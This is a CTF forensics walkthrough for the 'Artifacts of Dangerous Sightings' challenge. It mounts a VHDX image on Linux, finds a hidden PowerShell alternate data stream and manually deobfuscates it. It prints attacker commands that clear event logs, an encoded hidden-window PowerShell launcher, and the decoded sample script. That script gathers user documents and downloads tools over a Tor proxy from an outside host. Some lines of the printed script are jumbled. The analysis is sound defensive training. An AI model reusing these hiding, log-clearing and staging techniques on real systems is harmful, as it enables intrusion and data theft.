Artifacts of Dangerous Sightings walkthrough - Cyber Apocalypse 2023
- 1 Introduction
- 2 Recording the artifact hash
- 3 Basic artifact identification
- 4 Mounting the VHDX image in Linux
- 5 Basic image exploration
- 6 Viewing the hidden.ps1 alternate data stream
- 7 Decoding the PowerShell payload
- 8 Analyzing the (obfuscated) PowerShell
- 9 Deobfuscating the PowerShell payload
- 10 Conclusion
- 11 Appendix: attempt to view alternate data streams with guestmount
→ 1 Introduction
I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.
This walkthrough covers the Artifacts of Dangerous Sightings challenge in the Forensics category, which was rated as having a ‘medium’ difficulty. This challenge involves the forensic analysis of a virtual hard disk image.
The description of the challenge is shown below. The key information from the description is:
- Upon returning to her computer, Pandora noticed the Windows Event Viewer tab open on the Security log
- Pandora took a snapshot of her machine for analysis
The key techniques employed in this walkthrough are:
- mounting a VHDX virtual hard disk image in Linux
- basic image filesystem exploration
- listing and viewing NTFS alternate data streams in Linux
- manual deobfuscation of PowerShell
→ 2 Recording the artifact hash
Before commencing any forensic analysis, it’s important to record a cryptographically strong hash of the artifact. This ensures verification can be performed to demonstrate that the artifact has not been contaminated since initial acquisition. Although this step is rather unnecessary for a CTF, it is a good habit to form. To that end, the SHA256 hash of the challenge artifact was recorded:
$ shasum -a256 forensics_artifacts_of_dangerous_sightings.zip
76744345940ac98834116cdc2538084f65ee5a51ab128ba4b07e7730ceef2852 forensics_artifacts_of_dangerous_sightings.zip
However, strictly speaking, the downloaded zip contains the actual artifact for analysis. Therefore, the archive was unzipped and a hash of the contents also recorded:
$ unzip forensics_artifacts_of_dangerous_sightings.zip
Archive: forensics_artifacts_of_dangerous_sightings.zip
creating: HostEvidence_PANDORA/
inflating: HostEvidence_PANDORA/2023-03-09T132449_PANDORA.vhdx
$ shasum -a256 2023-03-09T132449_PANDORA.vhdx
17f8b14ad41d9c65689dad98d4fccb25391eefaab4e18f5e71db143eb2b34157 2023-03-09T132449_PANDORA.vhdx
→ 3 Basic artifact identification
The next step was to identify the type of artifact under analysis.
The file extension hints that the file is a Virtual
Hard Disk v2 (VHDX) File and the output of the file
command supported this. Furthermore, this correlates with the challenge
description, where the disk image is an image of Pandora’s machine.
$ file 2023-03-09T132449_PANDORA.vhdx
2023-03-09T132449_PANDORA.vhdx: Microsoft Disk Image eXtended, by .NET DiscUtils, sequence 0x8; LOG; region, 2 entries, id Metadata, at 0x200000, Required 1, id BAT, at 0x300000, Required 1
→ 4 Mounting the VHDX image in Linux
Modern Linux distributions support FUSE
(Filesystem in Userspace), which enables non-privileged users to
securely mount filesystems. Two commands that are useful here are
virt-filesystems
and guestmount
, which in Kali
can be installed from the guestfs-tools
and
guestmount
packages, respectively.
sudo apt install guestfs-tools guestmount
virt-filesystems
was used to list the filesystems in the
image:
$ virt-filesystems -a 2023-03-09T132449_PANDORA.vhdx
/dev/sda1
Next, guestmount
was used to mount the filesystem under
a mounted
directory. The options passed to
guestmount
were:
-
--add 2023-03-09T132449_PANDORA.vhdx
- add the given virtual image
-
--ro
- mount read-only
-
-m /dev/sda1
-
mount the
/dev/sda1
partition from the guest -
mounted
- mount point on the host (Kali) to mount the image under
$ mkdir mounted
$ guestmount --add 2023-03-09T132449_PANDORA.vhdx --ro -m /dev/sda1 mounted
A basic directory listing indicated the mount was successful:
$ ls mounted
'$RECYCLE.BIN' 2023-03-09T13_24_49_2142105_CopyLog.csv 2023-03-09T13_24_49_2142105_SkipLog.csv.csv C 'System Volume Information'
→ 5 Basic image exploration
A search for all filenames containing “history” was conducted:
$ find . -iname '*history*'
./C/Users/Pandora/AppData/Local/Microsoft/Edge/User Data/Default/History
./C/Users/Pandora/AppData/Local/Microsoft/Edge/User Data/Default/History-journal
./C/Users/Pandora/AppData/Local/Microsoft/Windows/History
./C/Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
./C/Windows/System32/Tasks/Microsoft/Windows/FileHistory
./C/Windows/System32/Tasks/Microsoft/Windows/FileHistory/File History (maintenance mode)
./C/Windows/System32/winevt/logs/Microsoft-Windows-FileHistory-Core%4WHC.evtx
Of the found files, the PowerShell history file on line 4,
ConsoleHost_history.txt
, stands out, especially given the
context of the challenge, namely that potentially an attacker had
accessed the machine. In such an instance, the attacker may have
executed PowerShell commands, which corresponds to the Command and
Scripting Interpreter: PowerShell MITRE ATT&CK technique.
The contents of the history file was viewed. Line 1 writes the string
finpayload
to
C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1
. This is
suspicious, as it may be a possible instance of the Hide Artifacts:
NTFS File Attributes MITRE ATT&CK technique for hiding malicious
data in an NTFS
Alternate Data Stream, which is a stream of data attached to a file
that is not visible by default.
Additionally, lines 5-9 attempt to clear the Windows event logs related to PowerShell, which appears to be an instance of the Indicator Removal: Clear Windows Event Logs MITRE ATT&CK technique employed to hide the activity of an intrusion.
$ cat ./C/Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
type finpayload > C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1
exit
Get-WinEvent
Get-EventLog -List
wevtutil.exe cl "Windows PowerShell"
wevtutil.exe cl Microsoft-Windows-PowerShell/Operational
Remove-EventLog -LogName "Windows PowerShell"
Remove-EventLog -LogName Microsoft-Windows-PowerShell/Operational
Remove-EventLog
→ 6 Viewing the hidden.ps1 alternate data stream
I couldn’t find a way to view the hidden.ps1
alternate
data stream with the FUSE filesystem mounted by guestmount
.
However, I found a post at https://dmfrsecurity.com/2021/01/10/accessing-alternate-data-streams-on-vmdk-images-on-linux/
which mounts the filesystem using the nbd
kernel module and
the qemu-nbd
utility.
The nbd (Network Block Device) kernel module allows a remote server to be used as a block device but it can also work if the remote and local hosts are the same.
QEMU(Quick Emulator) is a “a generic and open source machine emulator and virtualizer” which also “provides a number of standalone command line utilities”, with qemu-nbd being used to “Export a QEMU disk image using the NBD protocol”. Furthermore, QEMU supports many different image formats, including VHDX.
The steps taken to view the hidden.ps1
alternate data
stream were:
-
The existing mount was unmounted
guestunmount mounted
-
The
nbd
kernel module was loaded, which created the/dev/nbd0
device$ ls /dev/nbd0 ls: cannot access '/dev/nbd0': No such file or directory $ sudo modprobe nbd $ ls /dev/nbd0 /dev/nbd0
-
The
qemu-utils
package was installed to ensure theqemu-nbd
command was availablesudo apt install qemu-utils
-
qeum-nbd
was used to connect the VHDX virtual disk image to the/dev/nbd0
device, passing in the following options:-
-r
- Export the disk as read-only.
-
-c /dev/nbd0
- Connect filename to NBD device /dev/nbd0
sudo qemu-nbd -r -c /dev/nbd0 2023-03-09T132449_PANDORA.vhdx
-
-
The partitions of the disk were listed using
fdisk
, with a singleHPFS/NTFS/exFAT
partition,/dev/nbd0p1
, being found. Note the ability to usefdisk
illustrates how thenbd
kernel module transparently treats the device as if it is a local block device, albeit the impact of the illustration is limited in this instance since the virtual disk image is local.$ sudo fdisk -l /dev/nbd0 Disk /dev/nbd0: 1.66 GiB, 1780482048 bytes, 3477504 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x83b695cb Device Boot Start End Sectors Size Id Type /dev/nbd0p1 * 63 3475583 3475521 1.7G 7 HPFS/NTFS/exFAT
-
The
/dev/nbd0p1
partition was mounted read only1 (via thero
andnoload
2 options) and with thestreams_interface=windows
option to ensure that alternate data streams will be visible.sudo mount -t ntfs -o ro,noload,streams_interface=windows /dev/nbd0p1 mounted
-
The
getfattr
command gets extended attributes of filesystem objects, which includes NTFS alternate data streams whengetfattr
is invoked on a directory. Using this command reveals thehidden.ps1
alternate data stream attached to theActiveSyncProvider.dll
file$ getfattr -Rn ntfs.streams.list mounted/C/Windows/Tasks # file: mounted/C/Windows/Tasks ntfs.streams.list="" # file: mounted/C/Windows/Tasks/ActiveSyncProvider.dll ntfs.streams.list="hidden.ps1" # file: mounted/C/Windows/Tasks/SA.DAT ntfs.streams.list=""
-
The alternate data stream is visible to file manipulation commands3, which indicate the following:
-
the stream is 172KB long
$ ls -lh mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1 -rwxrwxrwx 1 root root 172K Mar 10 00:31 mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1
-
the stream consists of a single line
$ wc -l mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1 1 mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1
-
the stream invokes
powershell.exe
with a base64 encoded payload$ head -c 200 mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1 powerShell.exe -WindowStyle hiddeN -ExecuTionPolicy ByPasS -enc JAB7AFsAfgBAAH0AIAA9ACAAJAAoACkAOwAgACQAewAhACEAQAAhACEAXQB9ACAAPQAgACsAKwAkAHsAWwB+AEAAfQA7ACAAJAB7AFsAWwAhAH0AIAA9ACAALQAtACQAewBbAH4A
-
→ 7 Decoding the PowerShell payload
A sed
regex substitution was used to extract the base64
payload, then tr
was used to delete the trailing carriage
return and newline characters. The result was redirected into
payload.base64
.
$ cat mounted/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1 |sed -E -e 's/^powerShell.*-enc (.*)/\1/'|tr -d '\r\n'> payload.base64
Next, the base64 payload was decoded and piped into the
strings
command to decode the 16-bit littleendian strings
which Windows platforms use by default. The output was then redirected
into the payload.ps1
file.
base64 -d payload.base64 |strings -e l > payload.ps1
→ 8 Analyzing the (obfuscated) PowerShell
The payload consists of 4 lines:
$ wc -l payload.ps1
4 payload.ps1
The first 3 lines consist of obfuscated variable assignments, with each assignment separated by a semicolon:
$ sed -n -e '1,3p' payload.ps1
${[~@} = $(); ${!!@!!]} = ++${[~@}; ${[[!} = --${[~@} + ${!!@!!]} + ${!!@!!]}; ${~~~]} = ${[[!} + ${!!@!!]}; ${[!![!} = ${[[!} + ${[[!}; ${(~(!} = ${~~~]} + ${[[!}; ${!~!))} = ${[!![!} + ${[[!}; ${((!} = ${!!@!!]} + ${[!![!} + ${[[!}; ${=!!@!!}
= ${~~~]} - ${!!@!!]} + ${!~!))}; ${!=} =
${((!} - ${~~~]} + ${!~!))} - ${!!@!!]}; ${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]); ${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27]; ${@!=} = "["+"$(@{})"[7]+"$(@{})"[22]+"$(@{})"[20]+"$?"[1]+"]";
The last line consists of a string interpolation, piped into an
obfuscated command called via the &
call operator:
-
For brevity, the first 20 characters are listed below, showing the start of the string interpolation
$ sed -n -e '4p' payload.ps1 |head -c 20 "${@!=}${~~~]}${(~(!
-
Also for brevity, the last 20 characters are listed, showing the interpolated string being piped into a call to the command specified by the
${=@!~!}
variable$ sed -n -e '4p' payload.ps1 |tail -c 20 =@!~!}" |& ${=@!~!}
→ 9 Deobfuscating the PowerShell payload
The payload was manually reformatted into
payload-pretty.ps1
to make it easier to read, as shown
below, where:
-
the variable computed on lines 13-14 was determined to evaluate to
iex
based on the output of a PowerShell command prompt.iex
is an alias for Invoke-Expression, which allows a string to be interpreted and executed as a command└─PS> ${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]) └─PS> ${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27]; └─PS> echo ${=@!~!} iex
This variable is also the command that the original line 4 is piped into.
-
the original line 4 has been defanged into the new lines 17-18 by:
-
prefixing the string with
echo
so that it is simply printed on line 17 -
commenting out the pipe into the
iex
command on line 18
-
prefixing the string with
${[~@} = $();
${!!@!!]} = ++${[~@};
${[[!} = --${[~@} + ${!!@!!]} + ${!!@!!]};
${~~~]} = ${[[!} + ${!!@!!]};
${[!![!} = ${[[!} + ${[[!};
${(~(!} = ${~~~]} + ${[[!};
${!~!))} = ${[!![!} + ${[[!};
${((!} = ${!!@!!]} + ${[!![!} + ${[[!};
${=!!@!!} = ${~~~]} - ${!!@!!]} + ${!~!))};
${!=} = ${((!} - ${~~~]} + ${!~!))} - ${!!@!!]};
${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]);
${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27]; # "iex"
${@!=} = "["+"$(@{})"[7]+"$(@{})"[22]+"$(@{})"[20]+"$?"[1]+"]";
echo "${@!=}${~~~]}${(~(!} + <snip/> ${!!@!!]}${[~@} | ${=@!~!}"
#|& ${=@!~!}
./payload-pretty.ps1
was executed, with the output
redirected into payload-chars.ps1
└─PS> ./payload-pretty.ps1 > payload-chars.ps1
payload-chars.ps1
consists of a long string concatenated
from individual [Char]
cast integers, which is then piped
into the iex
command
-
For brevity, the first 100 characters illustrates the concatenation of individual
[Char]
cast integers$ head -c 100 payload-chars.ps1 [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [
-
Also for brevity, the last 100 characters illustrate the
iex
invocation$ tail -c 100 payload-chars.ps1 08 + [Char]105 + [Char]52 + [Char]110 + [Char]99 + [Char]51 + [Char]125 + [Char]34 + [Char]10 | iex
The iex
invocation was removed and the result stored
into a new file, payload-chars-defanged.ps1
:
$ sed -E -e 's/\| iex$//' payload-chars.ps1 > payload-chars-defanged.ps1
In a PowerShell terminal, payload-chars-defanged.ps1
was
sourced, which resulted in the following deobfuscated PowerShell script
being printed, with the plaintext flag visible on the last line.
> . ./payload-chars-defanged.ps1
└─PS### . . . . . . . . . + .
### . . : . .. :. .___---------___.
### . . . . :.:. _".^ .^ ^. '.. :"-_. .
### . : . . .:../: . .^ :.:\.
### . . :: +. :.:/: . . . . . .:\
### . : . . _ :::/: .:\
### .. . . . - : :.:./. .:\
### . . : . : .:.|. ###### #######::|
### :.. . :- : .: ::|.####### ########:|
### . . . .. . .. :\ ######## ######## :/
### . .+ :: : -.:\ ######## ########.:/
### . .+ . . . . :.:\. ####### #######..:/
### :: . . . . ::.:..:.\ ..:/
### . . . .. : -::::.\. | | .:/
### . : . . .-:.":.::.\ .:/
### . -. . . . .: .:::.:.\ .:/
### . . . : : ....::_:..:\ ___ :/
### . . . .:. .. . .: :.:.:\ :/
### + . . : . ::. :.:. .:.|\ .:/|
### SCRIPT TO DELAY HUMAN RESEARCH ON RELIC RECLAMATION
### STAY QUIET - HACK THE HUMANS - STEAL THEIR SECRETS - FIND THE RELIC
### GO ALLIENS ALLIANCE !!!
function makePass
{
$alph=@();
..90|foreach-object{$alph+=[char]$_};
65$num=@();
..57|foreach-object{$num+=[char]$_};
48
$res = $num + $alph | Sort-Object {Get-Random};
$res = $res -join '';
return $res;
}
function makeFileList
{
$files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
$List = $files -split '\r';
return $List;
}
function compress($Pass)
{
$tmp = $env:TEMP;
$s = 'https://relic-reclamation-anonymous.alien:1337/prog/';
$link_7zdll = $s + '7z.dll';
$link_7zexe = $s + '7z.exe';
= '"'+$tmp+'\7z.dll"';
$7zdll = '"'+$tmp+'\7z.exe"';
$7zexe /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
cmd
$argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';
$argOut = 'Desktop\AllYourRelikResearchHahaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
$argPass = '-p' + $Pass;
Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}
$Pass = makePass;
$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
$Pass;
compress $TopSecretCodeToDisableScript = "HTB{Y0...REDACTED...c3}"
→ 10 Conclusion
The flag was submitted and the challenge was marked as pwned
→ 11 Appendix: attempt to view alternate data streams with guestmount
Although it seemed possible to pass the
streams_interface=windows
option when mounting using
guestmount
, the option had no effect, unlike the experience
with the nbd
kernel driver:
$ guestmount --add 2023-03-09T132449_PANDORA.vhdx --ro -m /dev/sda1:/:ro,streams_interface=windows:ntfs mounted
$ getfattr -Rn ntfs.streams.list mounted/C/Windows/Tasks
mounted/C/Windows/Tasks: ntfs.streams.list: No such attribute
mounted/C/Windows/Tasks/ActiveSyncProvider.dll: ntfs.streams.list: No such attribute
mounted/C/Windows/Tasks/SA.DAT: ntfs.streams.list: No such attribute